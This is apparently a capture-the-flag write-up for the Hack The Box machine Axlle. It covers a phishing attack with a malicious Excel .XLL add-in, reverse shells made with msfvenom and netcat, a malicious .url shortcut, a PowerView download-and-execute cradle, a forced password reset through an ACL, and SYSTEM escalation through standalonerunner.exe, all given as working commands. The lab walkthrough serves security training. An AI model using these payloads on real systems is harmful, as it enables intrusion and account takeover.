Axlle is a hard-level Windows machine that begins with a website running on port 80. The site displays a maintenance message but mentions that Excel invoices can still be sent via email for processing.

An attacker exploits this by crafting a malicious .XLL file, which bypasses security checks and is used in a phishing attack. Once the attacker gains code execution on the machine, they create a malicious .url file. This file is executed by the user dallon.matrix, leading to the compromise of their account.

The dallon.matrix user is part of a group that has the ability to change the password of another user, jacob.greeny. The attacker leverages this privilege to reset the password and authenticate as jacob.greeny via WinRM.

The jacob.greeny user is a member of the App Devs group, which has access to a scheduled automation that runs the StandaloneRunner binary with SYSTEM privileges. The attacker exploits this automated task to escalate privileges and ultimately gain a shell as the Administrator.

Intial Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
PORT      STATE SERVICE       REASON          VERSION
25/tcp open smtp syn-ack ttl 127 hMailServer smtpd
| smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-favicon: Unknown favicon MD5: FAF2C069F86E802FD21BF15DC8EDD2DC
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-title: Axlle Development
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-06-24 20:33:49Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
64934/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
64936/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
64937/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
64944/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
64948/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
64956/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

From our scan we see of the bat port 25/smtp running and we have port 80/http open as well. We can check that out first.

Http for me

Looking over the site it seems pretty static. Yet the about seems interesting.

Maybe we send a invoice….or 2 🤣

Excelling at everything

If we have any outstanding invoices we can send them their way in a Excel. Looking more into macros for Excel we come across Excel Add-In. This article explains it a bit more in depth, but essentially we can create a xll file, really just a dll and send it as an attachment in a email. This should get us code execution and a foothold on the box.

We can create a simple payload and see if we get a callback, we’ll start with ping:

1
2
3
4
5
6
7
8
// ping.c

#include <windows.h>

__declspec(dllexport) short __stdcall xlAutoOpen() {
WinExec("cmd /c ping -n 1 10.10.14.7", SW_HIDE); // Replace with payload
return 1;
}

Note: We can compile using Visual Studio (cl.exe) but this is far easier, if we ran into problems then I would pivot to that. Using just the __declspec(dllexport) short __stdcall xlAutoOpen() will export the correct function we need to use for a Excel Add-In.

Then we can compile with x86_64-w64-mingw32-gcc:

1
konoha# x86_64-w64-mingw32-gcc ping.c -shared -o ping.xll -s -Os -DUNICODE

We can now setup a little test using tcpdump and using the open 25/smtp port we can send a little email using swaks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
konoha# swaks --to accounts@axlle.htb --from jay@axlle.htb --header "Subject: Invoice\!" --body "Take My Money\!" --attach @ping.xll
=== Trying axlle.htb:25...
=== Connected to axlle.htb.
<- 220 MAINFRAME ESMTP
-> EHLO konoha
<- 250-MAINFRAME
<- 250-SIZE 20480000
<- 250-AUTH LOGIN
<- 250 HELP
-> MAIL FROM:<jay@axlle.htb>
<- 250 OK
-> RCPT TO:<accounts@axlle.htb>
<- 250 OK
-> DATA
<- 354 OK, send.
-> Date: Tue, 24 Jun 2025 15:59:35 -0500
-> To: accounts@axlle.htb
-> From: jay@axlle.htb
-> Subject: Invoice overdue!
-> Message-Id: <20250624155935.961242@konoha>
-> X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
-> MIME-Version: 1.0
-> Content-Type: multipart/mixed; boundary="----=_MIME_BOUNDARY_000_961242"
->
-> ------=_MIME_BOUNDARY_000_961242
-> Content-Type: text/plain
->
-> Please pay the attached invioce ASAP. It is past due.
-> ------=_MIME_BOUNDARY_000_961242
-> Content-Type: application/octet-stream; name="ping.xll"
-> Content-Description: ping.xll
-> Content-Disposition: attachment; filename="ping.xll"
-> Content-Transfer-Encoding: BASE64
->
-> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-> AAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
-> ZGUuDQ0KJAAAAAAAAABQRQAAZIYKAJUQW2gAAAAAAAAAAPAALiILAgIsABQAAAAWAAAAAgAAMBMA
-> AAAQAAAAAGRHAwAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAADAAAAABAAAGJAAAAMAYAEAACAA
<SNIP>
-> QUIT
<- 221 goodbye
=== Connection closed with remote host.

Waiting a minute or two and we get a callback.

1
2
3
4
5
konoha# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
15:59:47.987219 IP MAINFRAME.axlle.htb > 10.10.14.7: ICMP echo request, id 1, seq 2, length 40
15:59:47.987303 IP 10.10.14.7 > MAINFRAME.axlle.htb: ICMP echo reply, id 1, seq 2, length 40

Phishing for entry

We can now replace our payload with a powershell(b64) reverse shell and get our shell now. Then after a minute or two.

1
2
3
4
5
6
konoha# rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.21] 65335

PS C:\> whoami
axlle\gideon.hamill

Further enumeration required

Now that we’re on the box, we can look around, but first I will get SharpHound.exe on the box and then fire up BloodHoundCE.

1
2
PS C:\> cd C:\\ProgramData ; iwr http://10.10.14.7/SharpHound.exe -o SH.exe
PS C:\ProgramData> .\SH.exe -c All

It may look like it’s not doing anything, give it time to finish…you’ll see output.

After it completes we can transfer it over and browse.

Bloodhound shows us nothing at the moment for our user. We can enumerate manually on the machine with PowerView.ps1and doing this shows that Web Devs have special permissions over 2 users.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ObjectDN                : CN=Jacob Greeny,DC=axlle,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
AceFlags : ContainerInherit
AceType : AccessAllowedObject
InheritanceFlags : ContainerInherit
SecurityIdentifier : S-1-5-21-1005535646-190407494-3473065389-1127
IdentityReferenceName : Web Devs
IdentityReferenceDomain : axlle.htb
IdentityReferenceDN : CN=Web Devs,CN=Users,DC=axlle,DC=htb
IdentityReferenceClass : group

ObjectDN : CN=Baz Humphries,DC=axlle,DC=htb
AceQualifier : AccessAllowed
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
AceFlags : None
AceType : AccessAllowedObject
InheritanceFlags : None
SecurityIdentifier : S-1-5-21-1005535646-190407494-3473065389-1127
IdentityReferenceName : Web Devs
IdentityReferenceDomain : axlle.htb
IdentityReferenceDN : CN=Web Devs,CN=Users,DC=axlle,DC=htb


So how do we get ourselves into that group???🤔🤔

I smell Mail

We know that the machine is running a mail server so we can check the obvious places for installed programs and alas we find hMailServer in the x86 directory. In that directory lies more data for us.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Program Files (x86)\hMailServer\Data\axlle.htb> ls


Directory: C:\Program Files (x86)\hMailServer\Data\axlle.htb


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/24/2025 2:07 PM accounts
d----- 6/24/2025 2:07 PM Attachments
d----- 1/1/2024 6:32 AM dallon.matrix
d----- 6/24/2025 2:07 PM ReviewedAttachments

And if we look in to dallon’s directory we see an email.

1
2
3
4
5
6
7
8
9
PS C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F> ls


Directory: C:\Program Files (x86)\hMailServer\Data\axlle.htb\dallon.matrix\2F


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/1/2024 6:32 AM 997 {2F7523BD-628F-4359-913E-A873FCC59D0F}.eml

This email states the following:

1
2
3
4
5
6
7
8
9
Hi everyone,

The Web Dev group is doing some development to figure out the best way to automate the checking and addition of URLs into the OSINT portal.

We ask that you drop any web shortcuts you have into the C:\inetpub\testing folder so we can test the automation.

Yours in click-worthy URLs,

The Web Dev Team

So the C:\inetpub\testing directory is being monitored for web shortcuts. We can perhaps make a malicious shortcut, like with lnk files. Lets create a payload with msfvenom and then place it on the box, then create a web shortcut point to it.

1
2
3
4
5
6
konoha# msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=9002 -f exe > s.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

Transfer to the box and set up our shortcut.

1
2
3
# web shortcut
[internetshortcut]
C:\\ProgramData\s.exe

We can then upload it and wait for our callback.

1
2
3
4
5
6
7
8
9
konoha# rlwrap -cAr nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.21] 53229
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
axlle\dallon.matrix

Abuse the bully

Now we know we’re apart of the Web Devs group fom the ACLs output. We can simply change the password for jacob.greeny using PowerView.ps1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\>powershell -ep bypass
powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\> IEX((New-Object System.Net.WebClient).DownloadString('http://10.10.14.7/PowerView.ps1'))
IEX((New-Object System.Net.WebClient).DownloadString('http://10.10.14.7/PowerView.ps1'))
PS C:\> $cred = ConvertTo-SecureString 'Welcome123!' -AsPlainText -Force
$cred = ConvertTo-SecureString 'Welcome123!' -AsPlainText -Force
PS C:\> Set-DomainUserPassword -Identity jacob.greeny -AccountPassword $cred -Verbose
Set-DomainUserPassword -Identity jacob.greeny -AccountPassword $cred -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'jacob.greeny'
VERBOSE: [Set-DomainUserPassword] Password for user 'jacob.greeny' successfully reset

Pure Evil

Jacob gets us a WinRM session on the box. Looking at bloodhound we we’re part of the App Devs group.

Looking back at the root we did have a directory we couldn’t access called App Development. This directory has a README.md stating that the aim of this application is to allow users to program and simulate custom keyboard layouts. Devs must be building something for their clients or vendors.

1
2
3
4
5
6
7
8
9
10
11
12
*Evil-WinRM* PS C:\App Development\kbfiltr> ls


Directory: C:\App Development\kbfiltr


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/1/2024 10:03 PM exe
d----- 1/1/2024 10:03 PM sys
-a---- 12/14/2023 11:39 AM 2528 kbfiltr.sln
-a---- 6/11/2024 11:16 PM 2805 README.md

**NOTE: I have automated the running of 'C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe' as SYSTEM to test and debug this driver in a standalone environment**

It states that standalonerunner.exe is running as SYSTEM to test and debug the driver. If we look up more on the exe we find an article stating that we can gain arbitrary command execution by making a couple of files and a command.txt that will be our binary to execute.

Privilege for the Strong

After reading the github on this vulnerablility I came up with a little one liner, as I’m sure most did. First we must go to the directory where the exe and dll reside. We can use the same reverse shell we created with msfvenom for our command.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> ls


Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/30/2023 3:08 AM 33392 standalonerunner.exe
-a---- 9/30/2023 3:08 AM 43632 standalonexml.dll


*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> echo "myTestDir`nTrue" > reboot.rsf ; mkdir -p myTestDir\working ; echo " " > myTestDir\working\rsf.rsf ; echo "C:\\ProgramData\s.exe" > command.txt


Directory: C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/24/2025 3:03 PM working


*Evil-WinRM* PS C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64> "C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe"
C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe

After a couple of minutes we recieve a shell back.

1
2
3
4
5
6
7
8
9
konoha# rlwrap -cAr nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.21] 52931
Microsoft Windows [Version 10.0.20348.2527]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\myTestDir\working>whoami
whoami
axlle\administrator